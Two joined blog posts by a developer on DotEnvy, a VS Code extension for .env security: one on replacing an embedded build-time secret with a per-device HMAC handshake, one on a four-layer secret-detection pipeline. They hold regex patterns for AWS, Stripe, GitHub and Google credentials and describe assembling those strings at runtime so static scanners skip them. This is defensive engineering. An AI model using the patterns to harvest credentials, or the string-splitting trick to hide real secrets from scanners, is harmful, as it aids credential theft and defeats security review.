How does an open-source, publicly distributed client authenticate with a protected backend service without shipping a hardcoded secret in its package?

Attempt 1: The Build-Time Secret Trap (v2.1.0)

Our initial approach relied on build-time environment variable substitution. In our deployment pipeline, a Node script injected a secret before invoking vsce package:

// scripts/build-with-env.js (Flawed Approach)
const secret = process.env.PRODUCTION_EXTENSION_SECRET;
let code = fs.readFileSync('out/utils/llmAnalyzer.js', 'utf8');
code = code.replace('REPLACE_AT_BUILD_TIME', secret);
fs.writeFileSync('out/utils/llmAnalyzer.js', code);

While this kept the secret out of our public git repository, it was an architectural disaster:

The VSIX Leak: As demonstrated above, extracting the .vsix exposed the secret immediately.
Automated Scanner Flags: Automated CI/CD bots (GitHub Secret Scanning, Trufflehog, CodeQL) automatically inspect release assets. A high-entropy hex string inside compiled JavaScript triggers immediate alerts.
Single Point of Compromise: If one user decompiles the extension and leaks the shared secret, the backend can no longer trust any extension client without rotating the key and breaking every installed instance worldwide.

We scrapped this design entirely.

Attempt 2: Zero Embedded Client Secrets & Dynamic Device Handshake (v2.1.2)

We established a strict architectural rule: Zero Embedded / Static Client Secrets.

Not a single secret, token, or private key may exist in the source code, build scripts, or packaged .vsix bundle.

Instead, we designed an anonymous, zero-touch dynamic device registration handshake:

┌────────────────────────────────────────┐           ┌────────────────────────────────────────┐
│ DotEnvy Client (First Activation)      │           │ Aegis Backend (aegis.dotsuite.dev)     │
└───────────────────┬────────────────────┘           └───────────────────┬────────────────────┘
                    │                                                    │
                    │ 1. POST /extension/register                        │
                    │    { machine_id: hash(vscode.env.machineId) }      │
                    ├───────────────────────────────────────────────────►│ Strict IP Rate Limiter
                    │                                                    │ (Max 10 per hour per IP)
                    │                                                    │
                    │                                                    │ 2. Backend generates unique
                    │                                                    │    cryptographic client_secret
                    │ 3. Returns per-device secret                       │    and stores active record
                    │◄───────────────────────────────────────────────────┤
                    │                                                    │
                    ▼                                                    ▼
          Stored Exclusively in                                Subsequent requests signed via
         OS-level SecretStorage                                HMAC-SHA256(timestamp + body)
       (macOS Keychain / Windows                               with per-machine rate limiting
      Credential Manager / libsecret)                                 (30 req/min)

1. Anonymous Environment Identity

When DotEnvy launches for the first time, it generates a non-reversible identifier from VS Code's environment API:

private getMachineId(): string {
    return vscode.env.machineId || 'anonymous-machine';
}

vscode.env.machineId provides a pseudonymous environment identifier that lets the backend maintain per-client state and rate limits without requiring a user account.

2. Ephemeral Dynamic Registration

The extension calls /extension/register:

Defense in Depth: The registration endpoint is protected by strict IP-based rate limiting (maximum 10 registrations per hour per IP) to prevent Sybil registration floods.
Unique Credential Issuance: The backend generates an independent 256-bit cryptographically random secret (client_secret), persists the mapping in PostgreSQL, and returns it over TLS.

3. OS-Level SecretStorage

The extension never writes the returned secret to disk, .env files, or standard workspace settings. It stores the credential directly inside VS Code's SecretStorage API:

public async setSharedSecret(secret: string): Promise<void> {
    await this.secrets.store('dotenvy.llm.sharedSecret', secret);
    this.sharedSecret = secret;
}

Under the hood, VS Code delegates SecretStorage to native operating system keyrings:

macOS: Apple Keychain
Windows: Windows Credential Manager
Linux: Secret Service API (gnome-keyring / KWallet)

4. Authenticated Request Signing

For all subsequent requests, DotEnvy signs its payloads using HMAC-SHA256:

private signRequest(body: string): { timestamp: string; signature: string } {
    const timestamp = String(Math.floor(Date.now() / 1000));
    const signature = crypto
        .createHmac('sha256', this.sharedSecret!)
        .update(`${timestamp}.${body}`)
        .digest('hex');
    return { timestamp, signature };
}

On the backend, Aegis:

Validates the timestamp against a 5-minute sliding window to prevent replay attacks.
Looks up the client_secret corresponding to the X-Machine-ID header.
Uses Python's constant-time comparison hmac.compare_digest to prevent timing attacks.
Applies a machine-level rate limit (30 requests/minute).

If a specific client secret is ever compromised on a developer's local machine, revoking that single record does not disrupt any other user.

The Automated Gatekeeper: CI/CD Pre-Publish Validation

To ensure no developer or automated script ever accidentally reintroduces an embedded secret, we added an automated pre-publish scanner to scripts/build-with-env.js:

// scripts/build-with-env.js
const fs = require('fs');
const path = require('path');

const outDir = path.join(__dirname, '..', 'out');

function scanDir(dir) {
    let flagged = 0;
    const files = fs.readdirSync(dir);
    for (const f of files) {
        const fullPath = path.join(dir, f);
        if (fs.statSync(fullPath).isDirectory()) {
            flagged += scanDir(fullPath);
        } else if (fullPath.endsWith('.js')) {
            const content = fs.readFileSync(fullPath, 'utf8');

            // Check for illegal embedded secret patterns
            if (/const\s+embeddedSecret\s*=\s*["'][A-Za-z0-9_-]{20,}["']/.test(content)) {
                console.error(`❌ Security Alert: Hardcoded embeddedSecret found in ${fullPath}!`);
                flagged++;
            }
        }
    }
    return flagged;
}

const flags = scanDir(outDir);
if (flags > 0) {
    console.error(`\n❌ Pre-publish check failed: ${flags} leaked secret(s) found in out/!`);
    process.exit(1);
} else {
    console.log('✅ Security check passed: 0 embedded secrets found in compiled out/ bundle.');
}

This verification script runs automatically as part of npm run package. If a secret is detected, the build halts with an exit code of 1, aborting the release pipeline.

The "Scanner Scanning the Scanner" Paradox (v2.1.3)

Once we eliminated embedded secrets, we collided with an ironic roadblock: automated static security scanners started blocking our extension releases.

DotEnvy is a security extension designed to detect leaked credentials. Its pattern registry naturally contains regular expressions for popular API tokens:

// ❌ v2.1.0: Literal regex prefixes
const KNOWN_SECRET_PATTERNS = [
    { name: 'AWS Access Key',  regex: /AKIA[0-9A-Z]{16}/ },
    { name: 'Stripe Live Key', regex: /sk_live_[0-9a-zA-Z]{24,}/ },
    { name: 'GitHub Token',    regex: /ghp_[a-zA-Z0-9]{36}/ },
    { name: 'Google API Key',  regex: /AIza[0-9A-Za-z\-_]{35}/ },
];

When GitHub’s push protection and marketplace upload scanners inspected our compiled output, their naive string-matching heuristics triggered on our own code:

"Warning: Leaked AWS Access Key pattern detected in out/utils/llmAnalyzer.js"

The scanners couldn't differentiate between code containing a secret and code designed to detect a secret.

Avoiding Static Scanner False Positives via Runtime Pattern Construction

To resolve these false positives without weakening our detection capabilities, we refactored the pattern registry to assemble sensitive token prefixes dynamically at runtime:

// ✅ v2.1.3: Assembled at runtime — clean scanner bill of health
const KNOWN_SECRET_PATTERNS = [
    { 
        name: 'AWS Access Key',  
        regex: new RegExp(['A', 'KIA', '[0-9A-Z]{16}'].join('')) 
    },
    { 
        name: 'Stripe Live Key', 
        regex: new RegExp(['sk', '_live_', '[0-9a-zA-Z]{24,}'].join('')) 
    },
    { 
        name: 'GitHub Token',    
        regex: new RegExp(['g', 'hp_', '[a-zA-Z0-9]{36}'].join('')) 
    },
    { 
        name: 'Google API Key',  
        regex: new RegExp(['AI', 'za', '[0-9A-Za-z\\-_]{35}'].join('')) 
    },
];

Engineering Note: This runtime string assembly is not an evasion technique against security controls; it is a pragmatic packaging workaround to prevent regex-based linters from confusing detection definitions with genuine credential leaks. Inside Node's V8 engine, the compiled RegExp objects are identical and execute at native engine speed.

Build Hygiene & VSIX Purity

Our final hardening step addressed package purity:

Automatic Pre-Build Purging: We updated our package.json scripts to mandate rm -rf out before every invocation of tsc. Stale, uncompiled test artifacts from previous development sessions can never accidentally be swept into a production .vsix.
Aggressive .vscodeignore Hardening: We audited and excluded all non-production files:
- Development linter configs (eslint.config.mjs)
- Internal test runners and mock fixtures
- Temporary extraction folders (extracted-vsix/)
- Documentation drafts and article markdowns

The resulting .vsix bundle contains solely the minified runtime code and localized UI assets.

Checklist for VS Code Extension Developers

If you are building a VS Code extension that interacts with a private backend, keep these rules in mind:

Rule	Bad Practice ❌	Good Practice ✅
Client Secrets	Injecting API keys in build scripts	Zero embedded secrets; dynamic device handshake
Local Storage	Saving tokens in `workspaceState`	Storing credentials in native OS `SecretStorage`
Request Signing	Sending plain machine IDs	HMAC-SHA256 with timestamp sliding window
Scanner Hygiene	Hardcoded token regex literals	Dynamic runtime pattern construction
Package Hygiene	Relying on default package contents	Automated `rm -rf out` + strict `.vscodeignore`

Links & Verification

🔗 VS Code Marketplace: marketplace.visualstudio.com/items?itemName=FreeRave.dotenvy
🌐 Open VSX Registry: open-vsx.org/extension/freerave/dotenvy
📦 GitHub Repository: github.com/kareem2099/dotenvy
📖 Read Part 1: DotEnvy Aegis: Building a 4-Layer AI Secret Detection Pipeline for VS Code
📝 Full Changelog: CHANGELOG.md

Written by FreeRave. If you've encountered packaging headaches or static scanner false alarms in your extensions, feel free to reach out and share your experience.

DotEnvy Aegis: Building a 4-Layer AI Secret Detection Pipeline for VS Code

freerave — Thu, 24 Sep 2026 20:38:11 +0000

How I architected a multi-layer secret scanner combining regex, truncated composite community hashing, Shannon entropy gating, and a 35-feature neural classifier — cutting LLM overhead by ~80%.

TL;DR: DotEnvy Aegis introduces a 4-layer secret detection pipeline (Regex → Truncated Composite Community Blacklist → Shannon Entropy Gate → Neural Context Classifier), migrates encryption keys to the OS keychain, auto-authorizes backups with project master keys, and syncs hashes to an anti-poisoning community blacklist on Railway — all without transmitting raw secret payloads.

What is DotEnvy?

DotEnvy is an open-source VS Code extension designed to bring enterprise-grade security to local .env file management:

Encrypted Variable Management (AES-256-GCM, PBKDF2 with 310,000 iterations)
Multi-User Envelope Encryption (each teammate decrypts using individual credentials)
Cloud Synchronization (native Doppler, Vercel, and AWS integrations)
AI-Powered Secret Detection (the focus of this article)
Git Pre-Commit Hooks (blocking credential leaks before commits land in git history)
Environment Analytics, Timeline, & Diff panels

The extension communicates with Aegis (python-llm), a custom Python microservice deployed on Railway that runs contextual neural classification on candidate secrets.

The Problem: One Layer is Never Enough

In our earliest experimental prototype, secret detection was a blunt instrument: every candidate token triggered an HTTP request to the backend model.

This naive architecture fell apart under real-world development workloads:

Latency Overhead: Every network round-trip added 200–450ms of latency, quickly degrading editor responsiveness during live typing.
Availability Dependency: If the network dropped or the backend restarted, secret detection failed silently.
The False Positive/Negative Dilemma:
- A high-entropy random string (like an image hash or UUID) looks like a secret to entropy analyzers, but is harmless.
- A low-entropy or structured token looks harmless to statistical math, but may grant full database admin rights.

Context matters. Regex patterns matter. Math matters. Community intelligence matters.

Aegis solves this by decoupling detection into an L1 → L4 pipeline: four independent, complementary layers where each layer filters out noise before invoking the more expensive layer downstream.

The L1–L4 Architecture

Candidate: (secretValue, contextLine, variableName)
                     │
                     ▼
┌──────────────────────────────────────────┐
│  L1: Regex Pattern Engine                │ ← Sub-millisecond, in-process
│  Matches well-known vendor prefixes      │   High-confidence match → HIGH
└────────────────────┬─────────────────────┘
                     │ no match
                     ▼
┌──────────────────────────────────────────┐
│  L2: Community Blacklist Cache           │ ← O(1) in-memory Set<string>
│  Truncated composite hash lookup         │   Known leaked hash → HIGH
└────────────────────┬─────────────────────┘
                     │ not in blacklist
                     ▼
┌──────────────────────────────────────────┐
│  L3: Shannon Entropy Gate                │ ← Pure mathematical calculation
│  Normalized entropy < 3.5 → LOW (skip)   │   Filters ~80% of candidate tokens
└────────────────────┬─────────────────────┘
                     │ entropy ≥ 3.5
                     ▼
┌──────────────────────────────────────────┐
│  L4: Contextual Neural Classifier        │ ← Remote FastAPI service
│  35-feature vector + attention layers    │   Deep semantic risk analysis
└──────────────────────────────────────────┘

In our current workload benchmarks across typical codebases, approximately 20% of extracted candidates reach L4. The remaining ~80% are resolved in-memory with sub-millisecond execution times, saving substantial network bandwidth and cloud compute.

Layer 1: In-Process Regex Engine (Instant Confidence)

Known secret formats (like AWS access keys, Stripe live tokens, and GitHub personal access tokens) follow strict, deterministic grammars. Running an AI model to identify a string that starts with AKIA followed by 16 alphanumeric characters is wasteful.

const KNOWN_SECRET_PATTERNS = [
    { name: 'AWS Access Key',  regex: new RegExp(['A', 'KIA', '[0-9A-Z]{16}'].join('')) },
    { name: 'Stripe Live Key', regex: new RegExp(['sk', '_live_', '[0-9a-zA-Z]{24,}'].join('')) },
    { name: 'GitHub Token',    regex: new RegExp(['g', 'hp_', '[a-zA-Z0-9]{36}'].join('')) },
    { name: 'Google API Key',  regex: new RegExp(['AI', 'za', '[0-9A-Za-z\\-_]{35}'].join('')) },
];

An L1 match immediately assigns high risk, bypasses all subsequent layers, and triggers an asynchronous hash report to the community blacklist.

Layer 2: Community Blacklist via Truncated Composite Hashing

When a secret is identified and verified across the community, other developers should benefit instantly without having to re-analyze it through the LLM. However, sharing leaked secrets raises an immediate privacy question: How do you cross-reference secrets without transmitting sensitive values over the network?

L2 utilizes truncated composite hashing:

public hashEntry(variableName: string, value: string): string {
    // Only capture the variable name and the first 8 characters of the value
    const prefix = value.slice(0, 8);
    return crypto
        .createHash('sha256')
        .update(`${variableName}:${prefix}`)
        .digest('hex')
        .substring(0, 16);
}

Privacy Nuance & Threat Model

We deliberately avoid claiming that this hashing scheme is an "absolute privacy shield":

What it accomplishes: The full secret is never transmitted across the wire or stored in community databases.
The engineering trade-off: For very short secrets or known formats, truncated prefixes could theoretically be susceptible to targeted dictionary guessing. We treat this composite hash as an effective deduplication fingerprint for collaborative defense, not a one-way cryptographic commitment for sensitive data.

On extension activation, DotEnvy pulls the promoted blacklist hashes into an in-memory Set<string>. Any candidate lookup is an $O(1)$ memory check with zero network overhead.

Server-Side Anti-Poisoning Architecture

To prevent malicious clients from poisoning the blacklist or whitelisting actual credentials, submissions must pass a server-side reputation pipeline:

Client Submits Hash
        │
        ▼
Staging Queue (Requires 3 distinct environments + reputation weighting)
        │
        ▼
Server-Side Verification (Backend re-evaluates risk on the pattern)
        │
        ▼
Promoted to Community Blacklist

Threat Model Note: The 3-environment quorum and historical accuracy weighting are designed to raise the operational cost of poisoning attacks, rather than claiming Byzantine Sybil-proof consensus. High-accuracy reporters gain vote weight, while repeated false reporters are banned.

Layer 3: Shannon Entropy Gate

Shannon entropy quantifies the unpredictability and information density of a string:

$$H(X) = -\sum_{i=1}^{n} P(x_i) \log_2 P(x_i)$$

In our feature extraction pipeline, Shannon entropy is calculated and normalized into a standard feature scalar:

const features = this.extractFeatures(secretValue, context, variableName);
const entropy = features[7] * 8.0; // Denormalize f[7]

if (entropy < 3.5) { 
    return 'low'; // Skip expensive L4 inference entirely
}

Plain text words and standard identifiers (const databaseHost = "localhost") exhibit low entropy ($\approx 2.1 - 2.8$). Cryptographic secrets and API tokens (sk_live_9xQ8...) typically exhibit entropy values above $4.2$.

Filtering out low-entropy candidates at L3 eliminates the vast majority of false alarms before a single byte touches the network.

Layer 4: Contextual Neural Classifier (Aegis)

Tokens that survive L1–L3 enter L4. This layer evaluates a 35-dimensional feature vector capturing:

Text Morphology (6): Uppercase ratio, digit ratio, symbol density, length normalization.
Entropy Gradients (3): Shannon entropy, bigram entropy, trigram entropy.
Pattern Signals (3): Base64 padding, hex character sets, character transition frequency.
Context Semantics (5): Surrounding keywords (Bearer, Authorization, db_pass, private_key).
Identifier Conventions (4): ALL_CAPS naming, presence of SECRET/TOKEN/KEY substrings.
Structural Separators (4): Dot delimiters (JWTs), underscores, dashes, colons.
Derived Interactions (10): Non-linear threshold flags combining entropy with context sensitivity.

# python-llm/src/model.py
class CustomLLM:
    """Neural risk classifier with self-attention and backpropagation."""
    def __init__(self, config: ModelConfig):
        self.embedding = DenseLayer(35, config.hidden_dim)
        self.attention = MultiHeadSelfAttention(config.hidden_dim, num_heads=4)
        self.classifier = FeedForward(config.hidden_dim, config.num_classes)
        self.optimizer = Adam(learning_rate=0.001)

At its current stage, the classifier is trained on an experimental curated dataset of 112+ labeled secret and non-secret samples. It runs backpropagation via Adam optimization, with model weights persisted in a PostgreSQL database surviving service redeploys.

Important Philosophy: Risk Signals, Not a Security Oracle

A vital design principle behind Aegis:

No layer is treated as an absolute security oracle.
The pipeline generates heuristic risk classifications, not mathematical proofs of secrecy. L1 provides deterministic pattern matching for known vendor formats, while entropy and neural inference provide weighted signals to aid human developers in reviewing their environments.

When the remote model is unreachable or rate limits are reached, the extension seamlessly falls back to local heuristic scoring without crashing or blocking the developer.

OS-Level Key Security: SecretStorage Migration

A secret detector is useless if the extension itself stores encryption keys insecurely.

In earlier versions, master keys lived in VS Code’s workspaceState (essentially unencrypted JSON storage). In Aegis, all master encryption keys and PBKDF2 salts were migrated to VS Code’s OS-level SecretStorage:

macOS: Apple Keychain
Windows: Windows Credential Manager
Linux: Secret Service API / gnome-keyring

public static async ensureMasterKey(context: vscode.ExtensionContext): Promise<Buffer> {
    const secretsKey = `${this.SECRET_STORAGE_KEY_PREFIX}${workspace}`;

    // 1. Check OS SecretStorage
    const stored = await context.secrets.get(secretsKey);
    if (stored) { return Buffer.from(stored, 'base64'); }

    // 2. Zero-touch migration from legacy workspaceState
    const legacyKey = context.workspaceState.get<string>(secretsKey);
    if (legacyKey) {
        await context.secrets.store(secretsKey, legacyKey);
        await context.workspaceState.update(secretsKey, undefined); // Secure cleanup
        return Buffer.from(legacyKey, 'base64');
    }

    // 3. Cryptographically secure 256-bit key generation
    const key = crypto.randomBytes(32);
    await context.secrets.store(secretsKey, key.toString('base64'));
    return key;
}

The migration is completely transparent to the user, executing silently upon extension activation.

Test Verification

Both the TypeScript extension and the Python backend are verified by end-to-end test suites:

DotEnvy Extension (VS Code)

🧪 Running Complete DotEnvy Test Suite

✅ [Encryption Algorithms & PBKDF2]           8/8 passed
✅ [L1–L4 Multi-Layer AI Scanner & HMAC]      4/4 passed  
✅ [Master Key Lifecycle, Password Migration]  9/9 passed

🎉 21/21 TESTS PASSED
npm run compile   → 0 errors
npm run lint      → 0 warnings

Aegis Backend Service (FastAPI / PyTorch)

✅ Feature extractor: 35 features verified - OK
✅ Neural model architecture - loss=1.1534
✅ Forward pass evaluation - prediction: high
✅ Full analyze pipeline execution - confidence: medium
✅ Database round-trip test - weights save/load OK

The Next Challenge: Shipping the Detector

Designing a 4-layer AI scanner was only half the journey.

When we attempted to package this extension into a .vsix bundle and distribute it through the VS Code Marketplace and Open VSX, we collided with two massive engineering road hazards:

The VSIX Trap: How our attempt to authenticate extension requests with our backend accidentally created a critical secret leak vector.
The Scanner Paradox: Why static analysis bots accused DotEnvy of leaking secrets simply because it contained the regex patterns needed to detect them!

👉 Read the complete post-mortem in Part 2:

The VSIX Packaging Trap: How I Eliminated Embedded Client Secrets from a VS Code Extension

Links & Resources

🔗 VS Code Marketplace: marketplace.visualstudio.com/items?itemName=FreeRave.dotenvy
🌐 Open VSX Registry: open-vsx.org/extension/freerave/dotenvy
📦 GitHub Repository: github.com/kareem2099/dotenvy
🐍 Backend Health: https://aegis.dotsuite.dev/health
📝 Changelog: CHANGELOG.md

Written by FreeRave. Contributions and community feedback are always welcome.